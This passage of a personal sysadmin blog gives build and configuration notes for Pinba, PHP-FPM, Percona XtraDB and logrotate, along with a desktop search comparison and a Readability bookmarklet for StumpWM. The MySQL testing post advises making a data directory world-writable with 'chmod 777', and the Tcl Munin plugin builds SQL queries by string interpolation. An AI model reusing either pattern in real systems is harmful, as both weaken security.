   SEP (Vendor ID PMCSIERA, Model  SRC 8x6G) 249 (WWID: 50014380069159CF)

A similar command will give you even more information on the state of your RAID:

$ sudo hpacucli ctrl all show config detail

Now you can use this plugin to monitor the state of the array in Nagios. Besides, the information from hpacucli helped me to identify the causes of the significantly degraded performance of one of my servers (the battery of the write-cache was dead).

logrotate: rotating logs in multiple directories

2010-06-29T02:06:00.000-07:00

I've got a server with almost one hundred web-sites. Each of the sites is in its own directory and runs its own logs in /usr/local/www/SITENAME/logs/*.log. When the logs grew up, I decided to set up logrotate. Since there were so many web-sites, my first idea was to create one configuration file for every site in logrotate.d and leave just one line in logrotate.conf:

include /usr/local/etc/logrotate.d

Only one hour later I understood that I can just write a path with multiple meta-characters to include ALL logs in just one line:

/usr/local/www/*/logs/*.log {
    daily
    rotate 60
    compress
    notifempty
    postrotate
          [ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
    endscript

}

PINBA: PHP Is Not a Bottleneck Anymore

2010-06-24T05:57:00.000-07:00

Yesterday I installed Pinba on one of my servers. Pinba is a set of tools to monitor performance of PHP scripts. Pinba MySQL database engine runs a list of timers and automatically fills report databases. Pinba PHP extension uses two functions to open and close these timers. Besides, there are default timers, which open when a script is executed and close when it finishes. If you put a timer around some critical piece of code you can get information on how often it runs and how much time it is being executed. Timers can be tagged and the data can be grouped by tags. So, in some pieces of code you can set tags "author" and "task" with corresponding values. Then you'll manage to compare the performance of code written by different developers and identify the most time-consuming parts. The most interesting thing is that when you create database tables following certain rules, these tables become automagically filled with the necessary data. So, if you use the tags "author" and "tags" to group the data, the reports will include all valid combinations of these tags and show summaries on these combinations: how much time Joe's scripts parsed new documents and how often Jackie's front-end scripts were called. Very impressive.

By default, Pinba stores this information for some limited period of time (15 minutes, IIUC), so you need some way to make the data persistent. Since we use Munin to monitor various system indicators, I wrote a couple of plugins (in TCL and Lua, just for fun :)) to display the frequency of execution and the average execution time for each timer. Our developers added a handful of timers in various places of code and here it is:

The last graph looks cluttered and not too informative, so I plan to employ Munin's 'suggest' feature to draw some diagrams using one script. Perhaps, organizing the graphs will be the most difficult part of the deployment. I have to say, though, that the installation was not simple, either. Prerequisites include compiled sources of the installed MySQL (Percona Server 10.2 in my case), Google Protocol Buffers, Judy library, libevent 1.4.1+ (Ubuntu's default one will do) and Hoard memory allocator. And here is the installation process (paths will be different for you, so check carefully):

wget http://pinba.org/files/pinba_engine-0.0.5.tar.gz
tar -xzf pinba_engine-0.0.5.tar.gz
wget http://pinba.org/files/pinba_extension-0.0.5.tgz
tar -xzf pinba_extension-0.0.5.tgz
wget http://protobuf.googlecode.com/files/protobuf-2.3.0.tar.gz
tar -xzf protobuf-2.3.0.tar.gz
wget http://downloads.sourceforge.net/project/judy/judy/\
Judy-1.0.5/Judy-1.0.5.tar.gz?use_mirror=ignum
tar -xzf Judy-1.0.5.tar.gz
wget http://www.cs.umass.edu/%7Eemery/hoard/hoard-3.8/source/hoard-38.tar.gz
tar -xzf hoard-38.tar.gz
sudo aptitude install libevent-1.4-2 libevent-dev
cd protobuf-2.3.0
./configure
make -j
sudo make install
cd ../judy-1.0.5/
./configure
make
sudo make install
cd ../hoard-38/src
make linux-gcc-x86-64
sudo cp libhoard.so /usr/local/lib
sudo cp *.h /usr/local/include
sudo ldconfig
cd pinba_engine-0.0.5/
./configure --with-mysql=/home/minaev/Percona-Server-10.2/ \
--with-judy=/usr/local --with-protobuf=/usr/local \
--with-event=/usr --libdir=/usr/lib/mysql/plugin/ \
--with-hoard=/usr/local
make 
sudo make install
echo "INSTALL PLUGIN pinba SONAME 'libpinba_engine.so'"|mysql
echo "CREATE DATABASE pinba"|mysql
mysql -D pinba <default_tables.sql
cd pinba-0.0.5/
sed -i 's/NOTICE/CHECKING/' config.m4
phpize
./configure --with-pinba=/usr/local
sudo make install

I had to edit config.m4 because my version autoconf was a bit buggy. After this process you'll have to add three lines to your php.ini:

extension=pinba.so
pinba.enabled=1
pinba.server=[MySQL server address]

And here is one of Munin plugins, written in TCL. It collects data on how often certain API parts were called.

#!/usr/bin/tclsh

package require mysqltcl 3.05


proc clean_fieldname arg {
    return [regsub -all {[^A-Za-z]} $arg "_"]
}

set dbuser "pinba"
set db "pinba"

set conn [::mysql::connect -user $dbuser -db $db]

set fields [::mysql::sel $conn 
  "select concat(module_value, '+', action_value) from \
tag_info_module_action" -list]

if {$argc > 0} {
    switch [lindex $argv 0] {
        "config" {
            puts "graph_title PHP Actions per second"
            puts "graph_vlabel reqs per second"
            puts "graph_category Pinba"
            foreach fld $fields {
                set clean [clean_fieldname $fld]
                 puts "$clean.label $fld"
                 puts "$clean.draw LINE3"
            }
        }
        "autoconf" {
            puts "yes"
        }
    }
} else {
    foreach fld $fields {
        set clean [clean_fieldname $fld]
        set data [::mysql::sel $conn 
  "select req_per_sec from tag_info_module_action where \
  concat(module_value, '+', action_value)='$fld'" -list]
        puts "$clean.value $data"
    }
}

::mysql::close $conn

BTW, you may find it interesting that the performance of TCL scripts was almost the same as that of Lua scripts and about 3-4 times higher than for Bash.

Dark sides of Python

2010-06-15T01:21:00.000-07:00

While reading about Python and playing around with its objects and classes (OOP being a perversions in itself), I witnessed a slightly weird behaviour. Define a class with a class variable.

class Parent:
  variable = "parent 1"

Then define a descendant class that inherits the class variable:

class Child(Parent):
  pass

(That funny single pass stands for empty definition body) Now, let's have a look at the value of variable in Parent and Child:

print Parent.variable
parent 1
print Child.variable
parent 1

Then, change the value of the variable in the parent class and it should also change in the child class:

Parent.variable = "parent 2"
print Parent.variable
parent 2
print Child.variable
parent 2

Sounds good. The variable must be shared between the two classes. Now, let's change the value of this allegedly shared variable in the child class:

Child.variable = "child 1"
print Parent.variable
parent 2
print Child.variable
child 1

Quite of a sudden, the variable turns out to be two separate variables. We have somehow broke the link that connected them and now, even if we change the value of the variable in Parent, this will not affect the variable in Child anymore:

Parent.variable = "parent 3"
print Parent.variable
parent 3
print Child.variable
child 1

And how a language with such non-trivial idiosyncrasies can be promoted as newbie-friendly, "does-what-you-want" language? My interest to Python evaporates so fast that I will probably never get to the famous included "batteries".

Errors when installing PHP 5.3 with FPM on Ubuntu

2010-05-04T01:54:00.000-07:00

If you try to install PHP 5.3 with FPM on Ubuntu, no matter which installation path you follow, patching sources or downloading FPM from SVN, you will most likely see a lot of error messages similar to the following:

$ ./configure 
cat: confdefs.h: No such file or directory
./configure: 490: ac_fn_c_try_run: not found
./configure: 490: 5: Bad file descriptor    
./configure: 490: :: checking for pthreads_cflags: not found
./configure: 490: 6: Bad file descriptor                    
./configure: 490: checking for pthreads_cflags... : not found
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
./configure: 492: 5: Bad file descriptor                     
./configure: 492: :: result: : not found                     
./configure: 492: 6: Bad file descriptor                     
./configure: 492: : Permission denied                        
./configure: 495: 5: Bad file descriptor                     
./configure: 495: :: checking for pthreads_lib: not found    
./configure: 495: 6: Bad file descriptor                     
./configure: 495: checking for pthreads_lib... : not found   
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
./configure: 557: 5: Bad file descriptor                     
./configure: 557: :: result: : not found                     
./configure: 557: 6: Bad file descriptor                     
./configure: 557: : Permission denied                        
./configure: 633: 5: Bad file descriptor                     
./configure: 633: :: result: : not found                     
./configure: 633: 6: Bad file descriptor                     
./configure: 633: : Permission denied                        
./configure: 635: 5: Bad file descriptor                     
./configure: 635: :: result: Configuring SAPI modules: not found
./configure: 635: 6: Bad file descriptor                        
./configure: 635: Configuring SAPI modules: not found           
./configure: 666: 5: Bad file descriptor

If so, don't be a fool like me, check what buildconf reported above:

$ ./buildconf --force                                                                                                          
Forcing buildconf                                                                                                                                       
buildconf: checking installation...                                                                                                                     
buildconf: autoconf version 2.64 (ok)                                                                                                                   
buildconf: Your version of autoconf likely contains buggy cache code.                                                                                   
           Running vcsclean for you.                                                                                                                    
           To avoid this, install autoconf-2.13.                                                                                                        
Can't figure out your VCS, not cleaning.

This is not just a regular warning you can neglect, you have to use autoconf-2.13. You don't have to install it from sources, though. This version is a separate package, so just run sudo aptitude install autoconf-2.13. You will have also to install libevent-1.4 and libevent-dev. Now, you can run buildconf again and then configure.

The full installation procedure would be:

sudo apt-get install autoconf2.13
wget http://ru.php.net/get/php-5.3.2.tar.bz2/from/ru2.php.net/mirror
tar -xjf php-5.3.2.tar.bz2
sudo aptitude install libevent-dev
cd php-5.3.2/
svn co http://svn.php.net/repository/php/php-src/trunk/sapi/fpm sapi/fpm
./buildconf --force
./configure --enable-fpm --with-zlib \
--enable-pdo --with-pdo-mysql --enable-sockets \
--with-mysql --with-config-file-path=/etc \
--enable-calendar --with-iconv --enable-exif\
 --enable-soap --enable-ftp --enable-wddx \
--with-zlib --with-bz2 --with-gettext \
--with-xmlrpc --enable-pcntl --enable-soap \
--enable-bcmath --enable-mbstring --enable-dba \
--with-openssl --with-mhash --with-mcrypt \
--with-xsl --with-curl --with-pcre-regex 
--with-gd --enable-gd-native-ttf --with-ldap \
--enable-pdo --with-pdo-mysql --with-mysql \
--with-sqlite --with-pdo-sqlite --enable-zip \
--enable-sqlite-utf8 --with-pear \
--with-freetype-dir=/usr --with-jpeg-dir=/usr \
--with-mysqli --with-fpm-conf=/etc/php/php-fpm.conf \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-config-file-path=/etc/php/ \
--with-config-file-scan-dir=/etc/php/conf.d/

Of course, your php configure options can be different.

Naïve question

2010-04-28T04:44:00.000-07:00

Been installing FineReader under Windows today. The question is why does installation process pause when I click'n'hold on the window title bar to move it? No reply...

Split screen vertically. You won't find it in `man screen`

2010-04-21T00:39:00.000-07:00

Now I know what `serendipity' means. It's when you are not quite awake, sit at the keyboard, your fingers fumble and you suddenly see that your xterm window where `screen' is running, gets split in two, but not horizontally (one above another), as it should according to the documentation, but vertically (one beside another). I didn't even understand what keys I pressed to get this effect. `man screen' includes only familiar `split' command. It took me some time to google out the answer.

It turns out that this feature was included in `screen' quite some time ago, but somehow nobody cared to describe it in man. Pressing `C-a |' splits the screen in left and right regions. To get rid of one of the regions, use the usual `C-a X' or `C-a S'.

MySQL Proxies

2010-04-15T02:06:00.000-07:00

While searching for a MySQL proxy solution, I found the following four products:

At least two of them share the same codebase, MySQL-proxy being the forefather of Spock proxy. Spock proxy tries to increase performance by eliminating the scripting layer. The goal of Spock is to provide efficient sharding, not fault-tolerance. Dormando's proxy positions itself as an alternative to the official MySQL-proxy, and it tries to retain compatibility. It even supports Lua scripting. I'm not sure, though, if the API is the same. And, finally, Proximo is written in Perl, which means its performance is lower than that of the other competitors. But Proximo is in very early stage of development and has a promising architecture. It may have good future.

Slightly disappointed with Percona products

2010-03-25T07:39:00.000-07:00

A large part of my to-do list was devoted to the products by Percona, company well-known in the MySQL world. I installed XtraDB engine on our servers and began using Xtrabackup to backup our databases. Not bad, I have to admit. I mean, the servers still work and the backups are made. But I had to solve so many problems that I kept recalling my first days with Linux almost fifteen years ago, when you had to compile everything from sources, manually track dependencies and even then there was only one chance in two that the program will run.

First, I installed XtraDB, MySQL engine which is supposd to cure the long-standing deficiencies of InnoDB. It was not too difficult. I downloaded the sources of XtraDB-1.0.6, tried to compile, failed, found a description of a non-standard (easily explainable, though) installation procedure, copied the sources to the MySQL source tree, replacing the InnoDB engine, tried to compile, found an error, googled for a solution, fixed a bug in handler/i_s.cc, tried to compile, found an error, googled for a solution, fixed a bug in Makefile.in, tried to compile, succeeded, installed and there it is. Easy, right? :)

Next, I wanted to have a look at another product by Percona, Xtrabackup, version 1.0 of which was announced in December 2009. Xtrabackup is to become the main backup solution for MySQL, being the only free tool able to perform online backups. There is more than one link at Percona.com leading to the sources. Or should I say misleading? Here's one page saying you have to use Bazaar to get the sources. So I did. There were some screens chockfull of error messages, which I tried to quench with a bunch of header files stolen from MySQL source tree, but to no avail. I checked the Percona web-site once again and found another link. This tarball included a whole distribution of MySQL. I tried to compile it as it is. Then, I tried to copy the sources to MySQL sources, strictly following the recommended procedure. Then, I tried to copy the sources to my source tree (with XtraDB substituted for InnoDB, as described above). I admit I almost gave up. In the end, I downloaded a binary version of Xtrabackup, compiled by the authors. It just worked. Well, to a degree...

This package contained Xtrabackup itself and a Perl script called Innobackupex. The problem with Xtrabackup is that it does not support anything but InnoDB (and XtraDB). Fortunately, MyISAM tables can be just copied as files, and Innobackupex does exactly this. Unfortunately, Innobackupex does this only when making full backups. Incremental backups only include InnoDB tables.

This problem was easy to fix, but there was another. Innobackupex does not support the option --incremental-basedir specifying the last full backup. The reference point for the incremental backup is defined as the earliest directory. So, I had to add support for this option to the script manually.

So, to sum it up, the number of problems I met in Percona products is unusually high. Or is it normal for a company that makes money solving users' problems? :)

Ubuntu: Sudo vulnerability

2010-03-01T23:06:00.000-08:00

Not too dangerous, unless you grant sudo rights to too many people, but worrying enough: Ubuntu Security Notice USN-905-1:

sudo did not properly validate the path for the 'sudoedit' pseudo-command. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. The sudoedit pseudo-command is not used in the default installation of Ubuntu.

And another one, only a little bit more unnerving:

sudo did not reset group permissions when the 'runas_default' configuration option was used. A local attacker could exploit this to escalate group privileges if sudo was configured to allow the attacker to run commands under the runas_default account. The runas_default configuration option is not used in the default installation of Ubuntu.

Testing new MySQL on production server

2010-02-26T05:51:00.000-08:00

Even when your MySQL works on a mission-critical server, there is a way to make downtime as short as possible after you have compiled a new version of the DBMS. MySQL documentation contains a chapter called 5.6. Running Multiple MySQL Servers on the Same Machine. But the reality is a bit more complicated.

First of all, you have to create a test database with the mysql_install_db command. Create an empty directory called, for example, test-db in your home directory and give full permissions to all users, to avoid problems with mysql user trying to create files:


$ mkdir test-db
$ chmod 777 test-db

Now, let's populate the directory with a test database:


$ mysql_install_db --user=mysql --datadir=/DIR/db

Note that we assume that your database runs under the username mysql, as it should. Now, you can try to run the test database. It must listen on a different IP port, use different data directory, different files for socket and pid, different log and error log. Hence, the following command:


$ PATH-TO-NEW/mysqld --port=12345 --datadir=/DIR/db --socket=/DIR/db/sock --pid-file=/DIR/db/pid --log=/DIR/db/log --log-error=/DIR/db/log-err

Now, you can check whether the new, fresh copy of MySQL works. If it does, you can stop the running version and then run make install for the new one.

Note that we did not grant any permissions to any users, so you might not be able to connect to the new database with mysql client.

MySQL+XtraDB: fixing compilation errors

2010-02-26T01:12:00.000-08:00

Trying to launch MySQL with the new XtraDB engine. First, I downloaded MySQL sources with patches by Percona and untarred them. They compile without errors and MySQL starts without problems. However, this tarball uses InnoDB, while we wanted to test XtraDB.

Next, I downloaded XtraDB 5.1.42-1.0.6-9 sources from Percona web-site. According to the installation instructions, to use XtraDB, you have to replace the contents of storage/innobase directory with the contents of the XtraDB archive. This time, I received two error messages during the compilation phase, but both of them had already been addressed by the developers and described at Percona's Launchpad.net. In the first case, the file handler/i_s.cc contained a minor error at line 801: error: invalid conversion from ‘const char*’ to ‘char*’

To fix this,

if((p = strchr(index->table_name, '/')))

in line 801 in handler/i_s.cc has to be replaced with:

if((p = strchr((char *) index->table_name, '/')))

Then I got another error message: ha_innodb.cc:2622: undefined reference to `active_mi'. To solve this second issue, I had to add disable compilation of MySQL embedded server by adding the following option to the ./configure script: --without-embedded-server.

So, finally, make command succeeded and I tried to install MySQL, but then there was the third error:/bin/sh: @MKDIR_P@: command not found. Fortunately, someone else had seen this message before and the solution is available here. In the file /storage/innobase/Makefile.in line MKDIR_P = @MKDIR_P@ must be replaced with MKDIR_P = @mkdir_p@.

So, to save your time, do these three modifications before you run ./configure. So, the session transcript would look like this:

$ wget http://www.mysqlperformanceblog.com/mysql/5.1/\
source/mysql-5.1.26-percona.tar.bz2
$ wget http://www.percona.com/percona-builds/Percona-XtraDB/\
Percona-XtraDB-5.1.43-9.1/source/percona-xtradb-1.0.6-9.1.tar.gz
$ tar -xjf mysql-5.1.26-percona.tar.bz2
$ tar -xzf percona-xtradb-1.0.6-9.1.tar.gz
$ rm -r mysql-5.1.26-percona/storage/innobase/*
$ mv percona-xtradb-1.0.6-9.1/* mysql-5.1.26-percona/storage/innobase
$ cd mysql-5.1.26-percona/
mysql-5.1.26-percona$ sed -i 's/strchr(index/strchr((char *) index/' storage/innobase/handler/i_s.cc
mysql-5.1.26-percona$ sed -i 's/@MKDIR_P@/@mkdir_p@/' storage/innobase/Makefile.in
mysql-5.1.26-percona$ ./configure '--build=x86_64-linux-gnu' \
'--host=x86_64-linux-gnu' '--prefix=/usr' '--exec-prefix=/usr' \
'--libexecdir=/usr/sbin' '--datadir=/usr/share' \
'--localstatedir=/var/lib/mysql' '--includedir=/usr/include' \
'--infodir=/usr/share/info' '--mandir=/usr/share/man' '--with-server-suffix=-1ubuntu2' \
'--with-comment=(Ubuntu)' '--with-system-type=debian-linux-gnu' \
'--enable-shared' '--enable-static' '--enable-thread-safe-client' \
'--enable-assembler' '--enable-local-infile' '--with-pic' \
'--with-lib-ccflags=-fPIC' '--with-pstack' '--with-fast-mutexes' \
'--with-big-tables' '--with-unix-socket-path=/var/run/mysqld/mysqld.sock' \
'--with-mysqld-user=mysql' '--with-libwrap' '--with-ssl' \
'--without-docs' '--with-extra-charsets=all' '--with-plugins=max' \
'--without-ndbcluster' '--without-embedded-server' '--with-embedded-privilege-control' \
'build_alias=x86_64-linux-gnu' 'host_alias=x86_64-linux-gnu' \
'CC=gcc' 'CFLAGS=-O3 -DBIG_JOINS=1 -fPIC -fno-strict-aliasing' \
'LDFLAGS=-Wl,-Bsymbolic-functions' 'CPPFLAGS=' 'CXX=g++' \
'CXXFLAGS=-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions \
-fno-rtti -fPIC -fno-strict-aliasing' 'FFLAGS=-g -O2'
mysql-5.1.26-percona$ make
mysql-5.1.26-percona$ sudo make install

Google Chromium

2009-12-25T10:56:00.000-08:00

I've installed Google Chromium today to have a look at the browser features. I think I will put it aside for now. First, I could not find a place where I could define the minimum font size. Chromium's default fonts were painfully small. Second, in Firefox I set accessibility.tabfocus to 3, so that when I press TAB, the cursor moves from one entry field to another, skipping hyperlinks. I could not find something similar in Chromium. Third, Google Wave is not really much faster in Chromium than in Firefox. Fourth, there is no Zotero plugin for Chromium. On the other hand, Google Reader works like a charm in Chromium. Besides, there's a great extension for Chromium, called CrossFire, that imitates Opera "spatial keyboard navigation". So, I'll wait for a while till the numbers one to four above are sorted out...

Problems with Lotus Notes 8.5 under Ubuntu Karmic Koala

2009-12-08T05:38:00.000-08:00

Lotus Notes does not work under the new Ubuntu. The application starts, but the internal window area contains nothing and does not redraw. Click a menu and if it overlaps with the main window, a part of the menu stays there after you close it. The main window contains nothing but garbage. Actually, nothing strange, since 99% of Notes databases contain nothing but garbage, but you can't even pretend you're working!
The problem is deep inside Notes (and Ubuntu). Go here: Ubuntu 9.10 Lotus Notes 8.5 grab a TGZ archive with four shared libraries and copy the libraries to /opt/ibm/lotus/notes, start Notes and do something useless there.

Desktop search engines compared

2009-11-29T10:59:00.000-08:00

Intro

I have a large electronic library (over 15,000 books) and I was looking for a way to cope with this mass of information. I didn't like the idea of a special catalog, since it would take a lot of manual work to enter the metadata. Besides, my books are in various formats, from HTML to RTF, to DOC, to PDF, to DjVU. These files lack metadata way too often and I thought a local indexing service with a full-text search might solve my problems. I knew there are more options to choose from than just Google, but I could not find a good modern comparison. I had to compare them myself. Even the table in Wikinfo's Comparison of desktop search software contained too many errors, as I found.

My task imposed certain restrictions on the one hand, but made the others irrelevant on the other hand. So, I was especially interested in a wide gamut of file types, in the ability to add new ones (Epub, fb2, html.zip) and in extensive query language. All software, except for GDS and DocFetcher, was installed from Ubuntu 9.10 repositories.

I have no special preferences regarding the backend, it may be Xapian- or Lucene-based tool, or even a custom backend. On the other hand, Xapian usually requires more disk space, and there is never too much space on desktops.

Beagle

http://beagle-project.org

The list of supported file types is quite large, it includes typical office files, source code, LaTeX source, images, audio and video files, RPM and DEB packages, e-mail from Evolution, Thunderbird and Kmail, IM and IRC logs, RSS feeds and many more (see here: http://beagle-project.org/Supported_Filetypes) and you are free to extend it. I could add new file types by editing one file, /etc/beagle/external-filters.xml.

Indexing process can run in two ways: CPU-lenient and CPU-intensive (using EXERCISE_THE_DOG environment variable). The search engine is based on Lucene.Net. I have no idea why the developers chose this exotic platform to implement Beagle, but Beagle works, and it works well.

Beagle understands limited (very limited, actually) regexps (*). You can search for phrases, exclude words (-word), use OR operator, specify dates when the file was created (on, before, after and between!), limit the search with a file type and define the directory where to look for the files. Unfortunately, you cannot point at the directory under which Beagle should search.

You can even use the metadata of audio and image files, as in the examples from the manual:

artist:Beatles ext:mp3 OR ext:ogg -album:"Abbey Road"

You can specify to search in mail attachments, to search by music genres, mailing lists, IM correspondents and much, MUCH more.

Beagle tends to create huge log files in ~/.beagle/Logs.

Beagle has a web interface. It's very easy to start using it, but not so easy to make use of it, since the alleged links to the results are not exactly links.

Beagle web-site includes information on the query syntax and extending Beagle, but finding the information is next to impossible unless you use Google.

Description of query syntax is here: http://beagle-project.org/Searching_Data

The index for a 45Gb home partition was only about 700Mb.

Google Desktop Search

http://desktop.google.com/linux/

Supports OpenOffice and MS Office files, PDF, HTML, TXT, audio and image files and email from Thunderbird. Strangely enough, it does not index zipped archives.

I could not add new file types, not even plain text with a different extension. I was pretty sure that GDS supports stemming, but not regexps. To my surprise, stemming did not work in GDS. Nor did regexps. It does not even support AND and OR keywords.

Otherwise the query syntax is acceptable. You can point at the directory where the file you are looking for is located, or the directory, under which the file is supposed to be. You can search for phrases or exclude words.

I was using GDS for some years and it works great as long as you use it in the way Google intended it to work. While suitable for and average office cubicle, it was next to useless for my purposes.

Index size was about 1.7Gb for 50Gb of data.

Recoll

http://www.lesbonscomptes.com/recoll/

A large number of file types is supported natively, including plain text, HTML, maildir and mailbox files, OpenOffice, MS Office 2007, Abiword, LyX, Kword and Scribus files and GAIM logs. Many more are supported with external helpers: DOC, XLS, PDF, DjVU, MP3, image files and so on. Feel free to add to the list, it's easy: one file establishes associations between extension and mimetype, another one specifies how the data is extracted from a file of a certain MIME type, and the third one defines applications used to open MIME types.

Recoll is built around the Xapian engine.

I had an impression that the indexing process takes much longer with Recoll than with the other tools. When indexing RTF with unrtf, Recoll created a heap of WMF files in my home directory. Recoll has no indexing daemon that would run in the background all the time. Instead. Recollindex is to be launched from time to time (with cron, for example).

The manual mentions stemming support, but also points that this is done the other way round. Stemming is not included in the database, as in other indexing engines, but the query is stemmed instead. Unfortunately, my version gave different results when searching for plural 'notebooks' and singular 'notebook', so, I assume, stemming does not work in my installation of Recoll. Recoll understands regexps pretty well, which to a certain degree compensates for the problems with stemming.

Rich query language, modeled after Xesam End User Search language (see here). Like with Beagle, you can use the dir: prefix to limit the search path to one directory, but you cannot specify a directory tree. Alas! Other useful prefixes include title, author, ext (for file type), etc.

The search client, recoll, is a GUI program, but with the -t option it runs in text mode. It means that instead of specifying a directory tree, I can just grep the results for a string, like this:

recoll -t -q \"jack london\"|grep /library/fiction/adventure

Note that for the command line client, you have to escape quotation marks to denote a phrase search.

Recoll, unlike some other tools, has a decent user manual, containing information on query syntax and adding support for new file types.

The index size threw a damper on me. For a 50Gb home directory it was more than 5Gb.

Strigi

http://strigi.sourceforge.net/

Strigi supports regular expressions. Theoretically, Strigi should support plain text files, PDF, DEB and RPM packages, OpenOffice documents and zipped files. Besides, Strigi was the only program that successfully indexed EPUB files without customization, interpreting them as just plain ZIP-archives with HTML, NCX, etc. inside.

There's little I can say about this program. The daemon kept crashing when I tested it so I could not even finish building the index for my home directory. The client erroneously classified a lot of hits as being "email".

The incomplete (?) index size was about 750Mb.

Tracker

http://projects.gnome.org/tracker

Tracker is a part of GNOME project and it tries to adhere to various useless technologies, like DBus. Tracker introduces the concept of file tags thus overcomplicating the task of file management. I admit that the notion of file tags might be reasonable, but only if it is supported universally, if tags are freely backed up, copied, etc. Now, fortunately, the tags are not obligatory for Tracker

The full list of supported file types is unavailable, but the web-site talks about image, audio, video, text files, source code, applications, playlists, IM converstaions and so on. No email, nor bookmarks, nor contacts as yet, though. The indexing daemon would segfault occasionally and I could not finish indexing.

As a matter of fact, Tracker was designed as a metadata search tool (and its full name is MetaTracker), but the normal use case is just full text search. Tracker was written to work well even on machines with 128 or 256 Mb RAM. Judging by the slowness of indexing, this statement could be true. I was wrong, Recoll was not the slowest indexer, it was Tracker.

I could not find a good user manual.

DocFetcher

http://docfetcher.sourceforge.net/en/index.html

Supported file types: HTML, plain text, PDF, Microsoft Office (doc, xls, ppt), Microsoft Office 2007 (docx, xlsx, pptx), OpenOffice.org Writer, Calc, Draw and Impress, RTF, AbiWord (abw, abw.gz, zabw), CHM, Visio, SVG.

Written in Java. Fast and CPU-sparing indexing. DocFetcher comes in two flavors: a binary installable package and a "portable" version, which you can run right from your home directory.

DocFetcher supports regular expressions (at least * and ?). Phrase search, AND and OR keywords, search in content or in metadata: author and title fields are supported. Does not index zipped files. It is easy to add new filename extensions that are treated as yet another text file or HTML, but I could not add a new file type which is to be treated in a special way. For me this means that I cannot process custom XML to convert the content to the proper charset. It's a problem.

An interesting query feature is boosting terms: "You can assign custom weights to words, thus increasing or decreasing the level of matching for a particular document if the weighted word occurs in it. This allows you to influence the relevance sorting of the result page. Example: dog^4 cat will bring up the documents with "dog" in it on the top of the result page."

The manual can be found in the downloaded archive, but it is very brief.

Pinot

http://pinot.berlios.de/

Like Tracker and Strigi, Pinot is built for D-Bus. Its indexing engine uses the same Xapian engine as Recoll, so I could use Pinot text-mode client to query the database built by Recoll indexer. Pinot can use other databases, but I was not interested in this option. The crawler takes a huge share of RAM and CPU. It ate up 70% of RAM on my PC, causing some other programs to crash, so I had to leave it for a night to complete indexing.

The documentation consists of one Readme file and a couple of web-pages. Quoting these web-pages, "The following document types are supported internally :

plain text
HTML
XML
mbox, including attachments and embedded documents
MP3, Ogg Vorbis, FLAC
JPEG
common archive formats (tar, Z, gz, bzip2, deb)
ISO 9660 images

The following document types are supported through external programs :

PDF (pdftotext required)
RTF (unrtf required)
OpenDocument/StarOffice files (unzip required)
MS Word (antiword required)
PowerPoint (catppt required)
Excel (xls2csv required)
DVI (catdvi required)
DjVu (djvutext required)
RPM (rpm required)

Indeed, new file types are defined in the file external-filters.xml very similar (but not identical, Pinot developers warn) the the file with the same name used by Beagle.

I have to say that these external programs made indexing of PDF, RTF and other files a difficult task. Indexing a PDF document took up to two minutes.

Conclusion

Recoll and Pinot may be considered good alternatives to Beagle, but the size of the Xapian index database leaves just one choice for me, Beagle.

The account has been restricted. Please, contact your system administrator

2009-11-24T03:33:00.000-08:00

So, the boss tries to log on, gets the message "The account has been restricted. Please, contact your system administrator", contacts me and what am I supposed to do? I can log on as the local administrator, I can check the registry, launch McAfee, but to no avail. Then I find a solution offered by Dizzy, then I think it's nonsense and try to fix the problem playing with permissions, domain accounts and so on. Then, finally, I remove the computer from the domain, then join it to the domain back, and it works! Why? What happened? No idea.

And then this wishy-washy rascal who happens to be my boss, insists that I grant him administrator privileges on his notebook? Ha-ha!

Readability+Opera+StumpWM

2009-10-13T01:04:00.000-07:00

Last time I wrote about using Readability bookmarklet in Opera running under StumpWM without mouse. The straightforward solution had a lot of deficiencies. One of the worst ones was that it didn't work in full-screen mode. Here's a much better way. Opera has a number of command-line switches (listed here). One of them, openURL, allows us to open a URL in the current window. So, if we put the bookmarklet code into the URL field, it will do the trick:

(defcommand readability () ()
   (run-shell-command "opera -remote \"openURL(javascript:
(function(){readStyle='style-novel';
readSize='size-medium';
readMargin='margin-medium';
_readability_script=document.createElement('SCRIPT');
_readability_script.type='text/javascript';
_readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
document.getElementsByTagName('head')[0].appendChild(_readability_script);
_readability_css=document.createElement('LINK');
_readability_css.rel='stylesheet';
_readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
_readability_css.type='text/css';
_readability_css.media='screen';
document.getElementsByTagName('head')[0].appendChild(_readability_css);
_readability_print_css=document.createElement('LINK');
_readability_print_css.rel='stylesheet';
_readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
_readability_print_css.media='print';
_readability_print_css.type='text/css';
document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
})();)\""))

Now, this Stump command will work even in full screen mode. It will even work when the Opera window does not have the input focus.

Of course, the code for any bookmarklet may be supplied instead of Readability.

NB: Just like before, the lines containing the bookmarklet code should be merged in one line before cutting and pasting the above snippet!

Readability bookmarklet, browsers and StumpWM

2009-10-05T04:19:00.000-07:00

Recently, I was looking for a way to get rid of the web-design while surfing the Net. Some most obvious ways, like banning custom fonts in Firefox work nice, while banning custom colors makes reading Gmail and Google Reader extremely unpleasant.

